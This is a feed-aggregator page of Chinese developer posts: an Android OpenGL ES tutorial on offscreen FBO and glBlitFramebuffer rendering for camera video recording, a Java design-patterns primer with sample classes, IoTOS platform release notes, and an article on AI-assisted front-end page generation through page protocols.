        GLES20.glTexImage2D(GLES20.GL_TEXTURE_2D, 0, GLES20.GL_RGBA, width, height,
                0, GLES20.GL_RGBA, GLES20.GL_UNSIGNED_BYTE, null);
        // 让fbo与纹理绑定起来 , 后续的操作就是在操作fbo与这个纹理上了
        GLES20.glBindFramebuffer(GLES20.GL_FRAMEBUFFER, mFrameBuffers[0]);
        GLES20.glFramebufferTexture2D(GLES20.GL_FRAMEBUFFER, GLES20.GL_COLOR_ATTACHMENT0,
                GLES20.GL_TEXTURE_2D, mFrameBufferTextures[0], 0);
        //解绑
        GLES20.glBindTexture(GLES20.GL_TEXTURE_2D, 0);
        GLES20.glBindFramebuffer(GLES20.GL_FRAMEBUFFER, 0);
    }

    /**
     * 销毁帧缓冲区(FBO)
     */
    public void destroyFrameBuffers() {
        //删除fbo的纹理
        if (mFrameBufferTextures != null) {
            GLES20.glDeleteTextures(1, mFrameBufferTextures, 0);
            mFrameBufferTextures = null;
        }
        //删除fbo
        if (mFrameBuffers != null) {
            GLES20.glDeleteFramebuffers(1, mFrameBuffers, 0);
            mFrameBuffers = null;
        }
    }

    @Override
    public void surfaceChanged(int width, int height) {
...
        if (isFBO) {
            createFrameBuffers(width, height);
        }
    }

   @Override
    public int draw(int textureId, float[] matrix) {
        GLESUtils.checkGlError("draw start");
        ...

        if (isFBO) {
            GLES20.glBindFramebuffer(GLES20.GL_FRAMEBUFFER, 0);
            //返回fbo的纹理id
            return mFrameBufferTextures[0];
        } else {
            return textureId;
        }
    }

    @Override
    public void release() {
        GLES20.glDeleteProgram(mProgram);
        mProgram = -1;
        destroyFrameBuffers();
    }
}

我们对CameraFilter进行改造,现在他既能将纹理绘制到屏幕中,也能将纹理绘制到FBO中。

2. FBO渲染到Surface

FBO中的数据渲染到Surface又该用哪中着色器程序呢,实际上FBO中数据就是RGBA,可以理解为就是2D纹理。渲染2D纹理我们熟啊,Android OpenGLES2.0开发(七):纹理贴图之显示图片章节我们成功将Bitmap转化为2D纹理绘制到GLSurfaceView上。而现在FBO就可以获取2D纹理对象,所以我们需要一个绘制2D纹理的着色器程序,将Image绘制图片着色器拷贝过来,重命名为Texture2DFilter将Bitmap转换为2D纹理代码删除即可。

/**
 * 将离屏渲染的数据绘制到屏幕中
 */
public class Texture2DFilter implements AFilter {

    /**
     * 绘制的流程
     * 1.顶点着色程序 - 用于渲染形状的顶点的 OpenGL ES 图形代码
     * 2.片段着色器 - 用于渲染具有特定颜色或形状的 OpenGL ES 代码 纹理。
     * 3.程序 - 包含您想要用于绘制的着色器的 OpenGL ES 对象 一个或多个形状
     * <p>
     * 您至少需要一个顶点着色器来绘制形状,以及一个 片段着色器来为该形状着色。
     * 这些着色器必须经过编译,然后添加到 OpenGL ES 程序中,该程序随后用于绘制 形状。
     */

    // 顶点着色器代码
    private final String vertexShaderCode =
            // This matrix member variable provides a hook to manipulate
            // the coordinates of the objects that use this vertex shader
            "attribute vec4 vPosition;\n" +
                    "attribute vec2 vTexCoordinate;\n" +
                    "varying vec2 aTexCoordinate;\n" +
                    "void main() {\n" +
                    // the matrix must be included as a modifier of gl_Position
                    // Note that the uMVPMatrix factor *must be first* in order
                    // for the matrix multiplication product to be correct.
                    "  gl_Position = vPosition;\n" +
                    "  aTexCoordinate = vTexCoordinate;\n" +
                    "}";

    // 片段着色器代码
    private final String fragmentShaderCode =
            "precision mediump float;\n" +
                    "uniform sampler2D vTexture;\n" +
                    "varying vec2 aTexCoordinate;\n" +
                    "void main() {\n" +
                    "  gl_FragColor = texture2D(vTexture, aTexCoordinate);\n" +
                    "}\n";

    /**
     * OpenGL程序句柄
     */
    private int mProgram;

    /**
     * 顶点坐标缓冲区
     */
    private FloatBuffer mVertexBuffer;
    /**
     * 纹理坐标缓冲区
     */
    private FloatBuffer mTextureBuffer;

    /**
     * 此数组中每个顶点的坐标数
     */
    static final int COORDS_PER_VERTEX = 2;

    /**
     * 顶点坐标数组
     * 顶点坐标系中原点(0,0)在画布中心
     * 向左为x轴正方向
     * 向上为y轴正方向
     * 画布四个角坐标如下:
     * (-1, 1),(1, 1)
     * (-1,-1),(1,-1)
     */
    private float vertexCoords[] = {
            -1.0f, 1.0f,  // 左上
            -1.0f, -1.0f, // 左下
            1.0f, 1.0f,   // 右上
            1.0f, -1.0f   // 右下
    };

    /**
     * 纹理坐标数组
     * 这里我们需要注意纹理坐标系,原点(0,0s)在画布左下角
     * 向左为x轴正方向
     * 向上为y轴正方向
     * 画布四个角坐标如下:
     * (0,1),(1,1)
     * (0,0),(1,0)
     */
    private float textureCoords[] = {
            0.0f, 1.0f, // 左上
            0.0f, 0.0f, // 左下
            1.0f, 1.0f, // 右上
            1.0f, 0.0f, // 右下
    };

    /**
     * 顶点坐标句柄
     */
    private int mPositionHandle;
    /**
     * 纹理坐标句柄
     */
    private int mTexCoordinateHandle;
    /**
     * 纹理贴图句柄
     */
    private int mTexHandle;

    private final int vertexCount = vertexCoords.length / COORDS_PER_VERTEX;
    private final int vertexStride = COORDS_PER_VERTEX * 4; // 4 bytes per vertex

    public Texture2DFilter() {
        // 初始化形状坐标的顶点字节缓冲区
        mVertexBuffer = ByteBuffer.allocateDirect(vertexCoords.length * 4)
                .order(ByteOrder.nativeOrder())
                .asFloatBuffer()
                .put(vertexCoords);
        mVertexBuffer.position(0);

        // 初始化纹理坐标顶点字节缓冲区
        mTextureBuffer = ByteBuffer.allocateDirect(textureCoords.length * 4)
                .order(ByteOrder.nativeOrder())
                .asFloatBuffer()
                .put(textureCoords);
        mTextureBuffer.position(0);
    }

    @Override
    public void surfaceCreated() {
        // 创建OpenGLES程序
        mProgram = GLESUtils.createProgram(vertexShaderCode, fragmentShaderCode);

        // 获取顶点着色器vPosition成员的句柄
        mPositionHandle = GLES20.glGetAttribLocation(mProgram, "vPosition");
        // 获取顶点着色器中纹理坐标的句柄
        mTexCoordinateHandle = GLES20.glGetAttribLocation(mProgram, "vTexCoordinate");
        // 获取Texture句柄
        mTexHandle = GLES20.glGetUniformLocation(mProgram, "vTexture");
    }

    @Override
    public void surfaceChanged(int width, int height) {
        GLES20.glViewport(0, 0, width, height);
    }

    @Override
    public int draw(int textureId, float[] matrix) {
        // 将程序添加到OpenGL ES环境
        GLES20.glUseProgram(mProgram);
        GLESUtils.checkGlError("glUseProgram");

        // 为正方形顶点启用控制句柄
        GLES20.glEnableVertexAttribArray(mPositionHandle);
        GLESUtils.checkGlError("glEnableVertexAttribArray");
        // 写入坐标数据
        GLES20.glVertexAttribPointer(mPositionHandle, COORDS_PER_VERTEX, GLES20.GL_FLOAT, false, vertexStride, mVertexBuffer);
        GLESUtils.checkGlError("glVertexAttribPointer");

        // 启用纹理坐标控制句柄
        GLES20.glEnableVertexAttribArray(mTexCoordinateHandle);
        GLESUtils.checkGlError("glEnableVertexAttribArray");
        // 写入坐标数据
        GLES20.glVertexAttribPointer(mTexCoordinateHandle, COORDS_PER_VERTEX, GLES20.GL_FLOAT, false, vertexStride, mTextureBuffer);
        GLESUtils.checkGlError("glVertexAttribPointer");

        // 激活纹理编号0
        GLES20.glActiveTexture(GLES20.GL_TEXTURE0);
        // 绑定纹理
        GLES20.glBindTexture(GLES20.GL_TEXTURE_2D, textureId);
        // 设置纹理采样器编号,该编号和glActiveTexture中设置的编号相同
        GLES20.glUniform1i(mTexHandle, 0);

        // 绘制
        GLES20.glDrawArrays(GLES20.GL_TRIANGLE_STRIP, 0, 4);
        GLESUtils.checkGlError("glDrawArrays");

        // 取消绑定纹理
        GLES20.glBindTexture(GLES20.GL_TEXTURE_2D, 0);

        // 禁用顶点阵列
        GLES20.glDisableVertexAttribArray(mPositionHandle);
        GLES20.glDisableVertexAttribArray(mTexCoordinateHandle);

        return textureId;
    }

    @Override
    public void release() {
        GLES20.glDeleteProgram(mProgram);
        mProgram = -1;
    }
}

3. FBO渲染流程

FBO核心渲染代码如下,drawFBO中的代码和流程图描述一致

/**
 * OpenGL ES渲染Camera预览数据的线程
 *
 * @author xiaozhi
 * @since 2024/8/22
 */
public class RenderThread extends Thread

    private CameraFilter mFBOFilter;
    private Texture2DFilter mScreenFilter;
    
    public RenderThread(Context context, TextureMovieEncoder2 textureMovieEncoder) {
    ...
        mFBOFilter = new CameraFilter();
        mFBOFilter.setFBO(true);
        mScreenFilter = new Texture2DFilter();
    }
    
    /**
     * 离屏渲染
     *
     * @param recordWindowSurface
     * @return
     */
    private boolean drawFBO(WindowSurface recordWindowSurface) {
        boolean swapResult;
        // 将数据绘制到FBO Buffer中
        mPreviewTexture.getTransformMatrix(mDisplayProjectionMatrix);
        int fboId = mFBOFilter.draw(mTextureId, mDisplayProjectionMatrix);

        // 将离屏FrameBuffer绘制到视频Surface中
        mVideoEncoder.frameAvailable();
        recordWindowSurface.makeCurrent();
        GLES20.glViewport(0, 0,
                mVideoEncoder.getVideoWidth(), mVideoEncoder.getVideoHeight());
        mScreenFilter.draw(fboId, mDisplayProjectionMatrix);
        recordWindowSurface.setPresentationTime(mPreviewTexture.getTimestamp());
        recordWindowSurface.swapBuffers();

        // 将离屏FrameBuffer绘制到屏幕Surface中
        mWindowSurface.makeCurrent();
        GLES20.glViewport(0, 0, mWindowSurface.getWidth(), mWindowSurface.getHeight());
        mScreenFilter.draw(fboId, mDisplayProjectionMatrix);
        swapResult = mWindowSurface.swapBuffers();

        return swapResult;
    }
}

FBO高效的原理在于,纹理渲染到FBO中的前置操作。如果需要对纹理进行美颜、高斯模糊等复杂的计算,FBO确实能提高效率。如果没有复杂的计算,那么FBO和二次渲染法效率差不多。

三. BlitFramebuffer

上面的方式,相当于我们引入了一个中间区域用来中转,似乎显的复杂了一些。有没有更加简洁高效的方式,只渲染一次就能实现多次拷贝呢?OpenGL ES3.0出现了一种更高效的方法,即BlitFramebuffer

来直接看流程图:

draw_blit.png

该方式不再使用FBO做缓存,而是像二次渲染法一样,先将渲染的内容输出到当前Surface中,但并不展示到屏幕上。我们来看下这种方式的流程:

  1. 先将渲染结果输送给SurfaceViewSurface
  2. 切换SurfaceMediaCodecSurface,此时当前Surface为MediaCodec的
  3. 利用OpenGL3.0提供的API BlitFramebuffer从原来的Surface拷贝数据到当前Surface中,再调用EGL的eglSwapBuffers将Surface中的内容送编码器编码
  4. 最后将当前Surface切回原来的Surface,也就是SurfaceView的Surface,同样调用EGL的eglSwapBuffers方法,将其内容显示到屏幕上

配合代码享用更佳:

/**
 * BlitFramebuffer方式
 *
 * @param recordWindowSurface
 * @return
 */
private boolean drawBlitFrameBuffer(WindowSurface recordWindowSurface) {
    boolean swapResult;
    // 先绘制到屏幕上
    mPreviewTexture.getTransformMatrix(mDisplayProjectionMatrix);
    mCameraFilter.draw(mTextureId, mDisplayProjectionMatrix);

    mVideoEncoder.frameAvailable();
    // 把屏幕Surface渲染数据拷贝到视频Surface中
    // 该方式的效率是最高的,一次渲染输出给多个目标,但是只有OpenGL3.0才有该方法
    recordWindowSurface.makeCurrentReadFrom(mWindowSurface);
    GLES30.glBlitFramebuffer(
            0, 0, mWindowSurface.getWidth(), mWindowSurface.getHeight(),
            0, 0, mVideoEncoder.getVideoWidth(), mVideoEncoder.getVideoHeight(),
            GLES30.GL_COLOR_BUFFER_BIT, GLES30.GL_NEAREST);
    int err;
    if ((err = GLES30.glGetError()) != GLES30.GL_NO_ERROR) {
        Log.w(TAG, "ERROR: glBlitFramebuffer failed: 0x" +
                Integer.toHexString(err));
    }
    recordWindowSurface.setPresentationTime(mPreviewTexture.getTimestamp());
    recordWindowSurface.swapBuffers();

    // 切换为屏幕Surface
    mWindowSurface.makeCurrent();
    swapResult = mWindowSurface.swapBuffers();
    return swapResult;
}

该方式的效率是最高的,一次渲染输出给多个目标,但是只有OpenGL3.0才有该方法

最后

MediaCodec硬编码总算是讲完了,我们用了3个章节由浅入深的介绍了Android下是如何硬编码的,对YUV数据进行编码,也能使用OpenGL ES渲染到Surface上进行编码。但这仅仅只是一个开始,还有更多的内容需要深入学习、探讨。

不知不觉CameraOpenGL ES系列都已经写了不少章节了,不管有多少人看,首先写这些系列是对自己的一个交代,也是对过去的总结,更是对未来的憧憬。希望自己不断前行,变得更好,也希望这个世界变得更好。

lib-camera库包结构如下:

说明
cameracamera相关操作功能包,包括Camera和Camera2。以及各种预览视图
encoderMediaCdoec录制视频相关,包括对ByteBuffer和Surface的录制
glesopengles操作相关
permission权限相关
util工具类

每个包都可独立使用做到最低的耦合,方便白嫖

github地址:github.com/xiaozhi003/…如果对你有帮助可以star下,万分感谢^_^

参考:

  1. github.com/saki4510t/U…
  2. github.com/google/graf…
  3. www.imooc.com/article/340…,以上流程图引入自该文章

by 小智003 at January 20, 2025 09:37 AM

hackernews

juejin backend

华知:Java 设计模式(一)

 1. Java 设计模式概述

 1.1 设计模式的定义和分类

 1.1.1 设计模式的历史和发展

设计模式的历史与其在软件工程中的重要性

要谈设计模式的历史与发展,我们得从软件工程的初期谈起。那时的软件开发,就像是在无头苍蝇一样的摸索中前进,开发人员经常为一些通用的设计问题所困扰,如同“重复发明轮子”般的事情屡屡发生。那是一个信息爆炸但共享经验稀缺的时代,软件的可重用性、可维护性和可扩展性都还未得到广泛的关注。

然而,随着软件复杂性的与日俱增,这种情形慢慢有了改观。在这一时期,软件工程界的先行者们发现,许多问题和设计挑战并非是独一无二的,它们在不同的项目之间有着惊人的相似性。这推动了设计模式的发展,使得开发者得以站在巨人的肩膀上,利用前人总结的智慧来解决问题。

进入80年代至90年代,面向对象编程(OOP)的兴起,给设计模式的发展注入了新的活力。 OOP强调的是利用“对象”来模拟现实世界中的概念和实体,这自然地让设计模式的理念得以在面向对象的设计中得以实现和应用。于是,我们看到了像工厂模式、策略模式、观察者模式等设计模式的诞生和流行,它们像是编程世界中的“公式”,为解决特定的设计问题提供了标准化的方案。

到了90年代末期,随着 Java等现代编程语言的普及,设计模式的重要性愈发凸显。 Java本身就是一个强调设计模式应用的语言,它的大量标准库和框架都是对设计模式的应用和推广。开发者们开始普遍认识到设计模式的价值,并将其作为编程实践的一部分。设计模式不再是理论上的概念,而是实实在在可以提高开发效率,保证软件质量的实用工具。

进入21世纪以后,随着软件开发的全球化和互联网的迅速发展,设计模式的重要性愈发凸显。企业的敏捷开发模式、 DevOps文化的兴起,都要求软件具有更好的灵活性、更高的可维护性和可扩展性,而设计模式恰恰能为此提供了标准化的解决方案。

如今,设计模式已经成为软件工程中的基石。它们不仅是面向对象设计的一部分,而且已经成为软件架构的核心。设计模式的应用,不仅提高了代码的复用性和可读性,而且在一定程度上也保证了软件的可维护性和可扩展性。对于开发者而言,掌握常用设计模式的使用,已经是基本功。

总结一下,设计模式的发展历程是伴随着软件工程的发展而进步的,它的重要性也从中体现出来。设计模式不仅仅是解决重复问题的有效方法,更是现代软件开发中保证质量、提效率的重要工具。对于想要深入学习 Java的朋友来说,了解和掌握设计模式,无疑是提升编程技能的重要一环。

 1.2 设计模式的应用场景和重要性

 1.2.1 设计模式在软件开发中的作用

设计模式在软件开发中的作用非常关键,尤其是在提升代码的可维护性和可扩展性方面,其贡献不容小觑。让我们深入探讨一下设计模式如何做到这一点。

首先,设计模式是一套已经验证过的解决方案,它们是从大量的编程实践中总结出来的最佳实践。这意味着,当你在开发中遇到特定的设计问题时,你可以很容易地找到合适的设计模式来解决这个问题。例如,如果你在构建一个复杂的对象间的关系网,单例模式、观察者模式或者是工厂模式都能提供一个结构化且可靠的解决方案,而不是让你重新发明轮子。

其次,设计模式提供了一个清晰的框架,这个框架定义了问题和解决方案之间的关系,这可以加强代码的可读性和可维护性。设计模式的使用可以帮助开发者建立起项目的一致性,因为设计模式为开发者提供了一个共同的语言去描述和解决问题。这种共识的建立,使得其他的开发者能够更容易地理解现有的代码,并在未来进行修改或者是扩展。

第三,当我们谈到可扩展性的时候,设计模式的作用就更加明显了。设计模式的一个关键目标是提供一种方式来应对软件开发过程中可能遇到的变更。通过这种方式,设计模式可以帮助你的设计适应需求变化,而不需要对现有的代码进行大规模的修改。例如,通过使用策略模式,你可以在不同的时刻替换掉某个算法或策略,而不需要更改策略的调用点。

最后,设计模式也是一种使得代码重用成为可能的工具。通过抽象出常见的设计问题并提供标准的解决方案,设计模式可以帮助开发者重用已经被验证过的代码片段,从而在新的项目中节省时间,减少错误,并提升开发效率。

综上所述,设计模式是软件开发中的一个无价之宝,它通过提供经过验证的解决方案、增强代码的可读性、支持可扩展性和促进代码重用,极大地提高了代码的可维护性和可扩展性。对于希望打造出既稳定又具备良好可维护性的软件系统的开发者来说,熟练掌握和恰当运用设计模式是一个不可或缺的技能。

 1.2.2 设计模式在Java编程中的应用实例

设计模式在 Java编程中的应用实例通过具体案例展示设计模式的实际应用

在 Java的编程世界里,设计模式是架构的灵魂,是面对各种软件开发中常见问题的通用解决方案。设计模式的应用不仅能够提升代码的可复用性、易读性和可维护性,还能在维护项目时提供一种清晰的思路框架。接下来,我们将通过一些具体的案例,深入探讨设计模式在 Java编程中的应用。

1.单例模式(Singleton Pattern)

单例模式是设计模式中最简单,也是最常见的模式之一。单例模式的核心思想是确保一个类只有一个实例,并提供一个全局访问点。这样做的目的是控制资源的共享,例如数据库连接或日志记录器等。


public class Singleton{

   private static Singleton instance;

private Singleton(){}

public static synchronized Singleton getInstance(){

if(instance== null){

           instance= new Singleton();

       }

       return instance;

   }

}

2.工厂模式(Factory Pattern)

工厂模式定义了一个用于创建对象的接口,但由子类决定要实例化的类是哪一个。工厂模式能提供代码的解耦,简化单元测试,提高代码的扩展性。


public interface Shape{

void draw();

}

public class Square implements Shape{

public void draw(){

       System.out.println("Square: create square");

   }

}

public class Circle implements Shape{

public void draw(){

       System.out.println("Circle: create circle");

   }

}

public class ShapeFactory{

   public Shape getShape(String shapeType){

if(shapeType== null){

return null;

}

       if(shapeType.equalsIgnoreCase("CIRCLE")){

           return new Circle();

} else if(shapeType.equalsIgnoreCase("SQUARE")){

           return new Square();

} else{

return null;

       }

   }

}

3.观察者模式(Observer Pattern)

观察者模式定义了对象间的一对多依赖关系,当一个对象的状态发生改变时,所有依赖于它的对象都会得到通知并自动更新。这种模式通常用于实现事件处理系统。


public interface Observer{

void update(String message);

}

public class ConcreteObserver implements Observer{

private String name;

public ConcreteObserver(String name){

       this.name= name;

   }

public void update(String message){

       System.out.println(name+" received:"+ message);

   }

}

public class Subject{

private Listobservers= new ArrayList();

public void attach(Observer observer){

       observers.add(observer);

   }

public void detach(Observer observer){

       observers.remove(observer);

   }

public void notifyObservers(String message){

for(Observer observer: observers){

           observer.update(message);

}

   }

}

4.装饰者模式(Decorator Pattern)

装饰者模式通过将对象包装在装饰者中来扩展对象的功能,而不是继承。这样可以在运行时递归地给对象添加新的功能,无需修改原有类的代码。


public interface Component{

void operation();

}

public class ConcreteComponent implements Component{

   public void operation(){

       System.out.println("ConcreteComponent operation");

   }

}

public class Decorator implements Component{

protected Component component;

   public Decorator(Component component){

       this.component= component;

   }

public void operation(){

       component.operation();

}

}

以上的案例只是设计模式在 Java编程中应用的冰山一角。设计模式的学习和应用需要不断积累和实践,才能真正提升我们的编程技术和解决问题的能力。通过这些具体的应用实例,我们可以看到设计模式如何在实际开发中发挥作用,帮助我们建立可靠、可维护的软件系统。

by Cosolar at January 20, 2025 09:25 AM

oschina news project

🔥IoTOS v1.6.8 物联卡平台 -近期更新

后台更新:

认证类接口优化

token认证类接口优化集中管控;

(上游超频 反馈单卡每日1000+同步次数)

短信发送

电信CMP5G平台适配短信上下行

(短信上下行记录查看)

(短信发送/编码选择)

充值优化

套餐充值适配自动选择配置

(充值配置自动选择)

新增批量限速

批量业务新增限速功能

(限速模板/限速等级选择)

订单列表优化

订单列表新增 开始生效时间、到期时间 等

(订单查看新增列)

by 来源: 投稿 at January 20, 2025 09:24 AM

oschina news industry

一种可复用的 AI 提效方案:AI 点灯




在当今飞速发展的时代,AI技术正不断渗透到我们生活的各个层面,深刻改变着传统的工作方式和生活模式。面对这一重大变革,我们不能被动观望或抗拒,而应积极拥抱AI,将其作为成长的助力。只有与AI协同发展,才能在这场技术革新的浪潮中立于不败之地,顺势而为才能事半功倍。


大模型的典型特征


强项:

1. 自然语言理解与生成

2. 广泛的知识覆盖

3. 高效的文本处理

4. 学习与适应

5. 计算能力强


弱项:

1. 理解与推理局限

2. 生成内容的准确性


简单来说,可以把现在的AI看作是一个可以不断学习,能够按照指定思路理解和解决问题的强文本处理工具。那么合理利用强弱项,就可以给我们的场景带来提效了。


强项

弱项

策略

自然语言理解与生成


能够将专业领域语言跟自然语言相互转换

广泛的知识覆盖


提供相应领域知识库,可以调用知识库能力

高效的文本处理


把对应的领域问题转换为文本

学习与适应


提供一些案例进行不断学习,提高准确度

计算能力强


能够处理大量重复劳动


理解与推理局限

指定理解问题的思路,以及解决问题的流程或步骤


生成内容的准确性

对生成的内容进行校验


总结一下,就是

专业领域的重复劳动的问题和解决方案都抽象为文本,提供相应的领域知识库,可以用自然语言来描述专业领域问题,指定AI理解问题的思路以及解决问题流程,提供一些案例提高准确度,最后对生成内容校验

按这个思路,可以对所有领域的适用场景进行AI提效,我愿把这个方案称之为AI点灯


适配场景


在任何领域中,能够把重复劳动包含的任务和解决方案都抽象为文本的场景。下面来看一个前端场景提效的实践案例。


  B端运营配置平台场景


交易产品中心,把交易链路中的一些基础和增值能力整合为产品,在交易产品中心中进行对应的实例配置和发布管理。比如已接入的一品多商、价保、一店多供、顺手买一件等产品。


这是一个交易产品中心,价保产品接入的需求设计稿的三分之一,有大量的重复页面需要开发。


开发+联调+测试需要前端大量人力,如果每个产品接入都需要这么多资源,那后续20+个交易产品以及其他运营产品接入,仅产品接入流程就需要占用一个前端全年人力。


  • 场景页面分布


从已接入的几个产品来说,场景主要是表格页面和表单页面。

1. 数据查看、操作(表格页面,红框部分)

2. 数据增删改查(表单页面,红框部分)

3. 其他页面(10%以下)


  • 核心问题


交易产品中心由于业务特征,具备以下特点:

1. 平台接入业务多、业务逻辑复杂,定制度高

2. 表单、表格页面占比高,场景单一

3. 对页面UI要求较低


由于业务定制高,在接入业务多的场景下,业务的增删改查都需要耗费平台人力,对人力成本要求很高,所以急需一个类似的B端运营配置平台提效方案。


提效方案探索


  前端提效历史回顾


  • 传统研发流程


需求研发流程



前端开发分层架构


一个完整前端页面的开发包含环境搭建和需求迭代流程,需求迭代流程包含页面UI层、页面逻辑层、页面数据层和项目管理

1. UI层包含元素结构树、元素样式树

2. 逻辑层由js描述,包含初始化执行逻辑、事件触发逻辑、组件联动逻辑

3. 数据层需要获取数据,然后将数据绑定到元素上,还有页面的一些状态管理

4. 项目发布包含版本管理


优点:自由度高,可以实现任何前端需求;

缺点:需求周期、链路长。


  • 组件复用


对已实现的模块,后续页面复用公共模块。主要代表antd等组件库:


需求研发流程



前端开发分层架构


组件复用方案可以在UI层、逻辑层进行提效,其中在UI层可以复用组件UI,逻辑层可以复用组件逻辑:

优点:定制自由度高,以组件或页面维度减少工作量,非常通用;

缺点:仅在UI层和逻辑层进行研发提效。


  • 低代码研发流程

基于组件库,在一些前端较简单场景,由产品或者前端根据原型图使用低代码平台转化为前端页面,其中在平台页面搭建过程中添加一些页面逻辑。使用低码平台研发。阿里集团内部有宜搭、乐高等。



基于UIPaaS、iceluna(低代码平台孵化器),集团内部衍生出宜搭、乐高两个不同方向的低代码搭建平台。



宜搭为代表

乐高为代表

面向人群

非技术背景(PD、运营等)

具有技术背景,了解一些前端基础

适用场景

基于表单的数据信息化产品,比如投票、问卷、导航页等简单场景

定制企业级中后台系统,乐高负责前端页面的设计和搭建

页面UI

拖拽搭建,一些常用基础组件

拖拽搭建,丰富的中后台场景组件

页面逻辑

组件配置,可添加自定义方法

组件配置或者组件内置,可添加自定义方法

优点

针对表单、问卷、报表、导航页等简单页面,支持度比较好。对产品、设计同学友好

针对中后台场景等较复杂页面支持度较好,功能完善,扩展性强

缺点

复杂场景支持度较低

上手成本高,较复杂场景需要对前端有足够的理解


需求研发流程



前端开发分层架构


低代码方案可以在环境搭建、UI层、逻辑层、数据层、项目发布进行整体提效,由于基于组件库,UI层和逻辑层提效参考组件复用,其中数据层提供数据绑定,平台提供项目发布。

优点:整体研发成本降低,解决方案相对完善,对简单场景支持度较好;

缺点:强依赖低代码平台,定制自由度受平台能力的限制,后续页面维护持续依赖平台。


  • D2C(Design To Code)研发流程


基于组件库,在一些新建频率较高的场景(比如会场、活动搭建等),利用图像识别或者多模态大模型把图片中的内容都识别出来,然后根据图片内容生成具体页面代码。代表集团内ai-rapidcode、达拉然、集团外蓝湖等。



需求研发流程



前端开发分层架构


D2C方案由于其生成型特性区分为首次需求和需求迭代流程,可以直接生成项目环境;首次需求时UI层部分可以直接完成,逻辑层会复用一些组件逻辑,还需要单独添加其他逻辑;需求后续进行正常迭代,流程则参考组件复用方案:

优点:可直接减少页面UI开发人力;非常适用于生成一次性项目

缺点:

1. 依赖图像识别准确度or设计稿图层划分清晰度;

2. 图片内容转化后,还需单独添加页面逻辑。

3. 不适用于不断迭代的项目,二次开发成本较高


目前基建不完善,要提高D2C的图片转化效果,需要在图像识别、设计稿图层划分、转化内容布局适配等流程耗费大量人力。
困境:复杂页面准确度不高,简单页面提效能力有限。

  • P2C(PRD To Code)理想流程


P2C,完整名称是Product Requirements Document To Code,即从产品需求文档直接到代码,目前一些AI前沿产品已经可以直接用需求生成页面或者应用,简化整体流程,可大幅提效,代表cursor、bolt:


需求研发流程



前端开发分层架构


P2C方案由于其生成型特性区分为首次需求和需求迭代流程。可以直接生成项目环境,并且在首次需求直接产出完整的UI层、逻辑层、数据层部分,仅需单独处理项目发布;需求迭代流程则参考组件复用方案,进行正常迭代。

优点:减少大量中间环节,可大幅提效;

缺点:对于一些特殊页面逻辑还是需要添加。依赖AI能力,页面逻辑复杂之后,后续维护和迭代的难度也会指数级别上升。

  方案对比


在交易产品中心这个场景中,针对已有提效方案进行分析:

1. 组件复用。在UI层和逻辑层可节省人力,但是还需要大量人力去支持每个产品接入,开发对应产品逻辑

2. 低代码平台。可进行整体提效,但是后续开发、维护都依赖平台,并且后续复杂能力的支持也依赖平台开放程度

3. D2C。目前图像识别效果一般,效率提升很有限,并且后续页面迭代开发都需要人力维护

4. P2C。目前还过于理想,实现效果一般,并且后续页面迭代开发都需要人力维护


研发模式

描述

优点

缺点

提效能力

可用性

目前适用场景

组件复用

基于组件库,对已实现的模块,后续页面复用公共模块

定制自由度高,以组件或页面维度减少工作量,非常通用

仅在UI层和逻辑层进行研发提效

所有需要复用功能的前端场景

低代码平台

使用集团内其他低码平台研发。宜搭、乐高等

研发成本降低,解决方案相对完善,对简单场景支持度较好

依赖其他平台,定制自由度受低码平台能力的限制,后续页面维护持续依赖平台

中上

宜搭为代表:问卷、投票、导航页等简单页面;

乐高为代表:中后台场景

D2C

使用D2C、ChatGPT等图像工具,用设计稿图片或者设计稿图层结构生成代码

可直接减少页面UI开发人力;适用于生成一次性项目

依赖图片识别准确度;图片转化时,需单独添加页面逻辑;后续迭代开发成本较高

一次性生成场景,比如会场搭建,运营活动页等,有详细的需求prd和设计稿

P2C

利用AI能力,直接从需求生成页面

减少大量中间环节,可大幅提效

目前还过于理想,只能实现简单功能,页面复杂度提升后,后续维护和迭代成本较高

一次性生成场景,仅有需求prd

目前没有很适合交易产品中心提效的方案,需要针对这个场景定制提效方案


回顾一下场景特征,交易产品中心(B端运营配置平台)有以下特点:

1. 平台接入业务多、业务逻辑复杂,定制度高

2. 表单、表格页面占比高,场景单一

3. 对页面UI要求较低


希望这样一个方案:

1. 能够复用已接入业务重复部分的UI层、逻辑层、数据层,重点是支持复用表单、表格

2. 页面UI可以妥协,但是能力需要支持应有功能

3. 尽量能够使用AI提效


基于这些前提,再沿用P2C的思路去简化流程,就有了下面方案。


  方案演进——P2C协议化方案


P2C(PRD To Code)当前阶段还是过于理想,直接从需求到页面代码中间跨越了太多流程,如果在中间加一个中间层,去承载页面样式和页面功能,那就容易很多了。


希望能够复用已有能力,并且能够低成本生成页面,基于组件复用方案,采用页面协议承载了UI和逻辑,可作为需求和页面之间的中间层


在一些流程较固定的场景(如B端运营配置平台),由产品提供PRD,使用AI把PRD转化为页面协议,最后由前端SDK转化为页面,其中降低了从产品、设计、开发、测试中重复部分的工作,协议描述了一部分页面和交互逻辑,前端SDK也内置了一部分页面UI和页面逻辑


  • 需求研发流程


核心难点如下:

1. 依赖前端协议SDK的完善度,需要协议支持足够多的能力和场景

2. 需要服务端对于页面协议结构有一些了解

3. AI生成页面协议的效果需要不断调优


  • 前端开发分层架构


P2C协议化方案与传统前端开发分层有区别,新增了协议层、协议版本管理、协议SDK,协议层由UI层、逻辑层、数据层组成。可通过协议层控制页面能力和功能,首次需求仅需单独开发协议SDK和项目发布;需求迭代通过修改协议来实现,则整个需求迭代流程中前端0投入。

优点:大幅简化前端开发流程,需求迭代过程0投入。可扩展编排能力,后续可采用AI生成及优化协议;

缺点:前期投入较高,依赖前端协议SDK的完善度,调试、定位问题成本变高。

  • 业务接入时序图


在前端协议SDK完善后,业务接入和业务需求迭代过程都无需前端投入。


P2C协议化方案


  协议设计


P2C协议化方案需要开发一套前端SDK用于把协议转换为页面,后续的页面开发就转化为开发一个页面协议,那这个过程最重要的就是设计页面协议


一个完整前端页面包含页面UI、页面逻辑、页面数据

1. UI层是由元素结构树、元素样式树、页面数据共同组成渲染

2. 逻辑层由js描述,包含初始化执行逻辑、事件触发逻辑、组件联动逻辑

3. 数据层需要获取数据,然后将数据绑定到元素上


协议页面,由页面协议和协议SDK组成,共同组成支持这些能力:

1. 页面协议支持描述元素结构树和元素样式树、事件触发逻辑、组件联动逻辑、页面数据

2. 协议SDK负责初始化逻辑、获取数据、数据绑定、状态管理

相比普通页面,添加了渲染协议能力。


  • 协议SDK


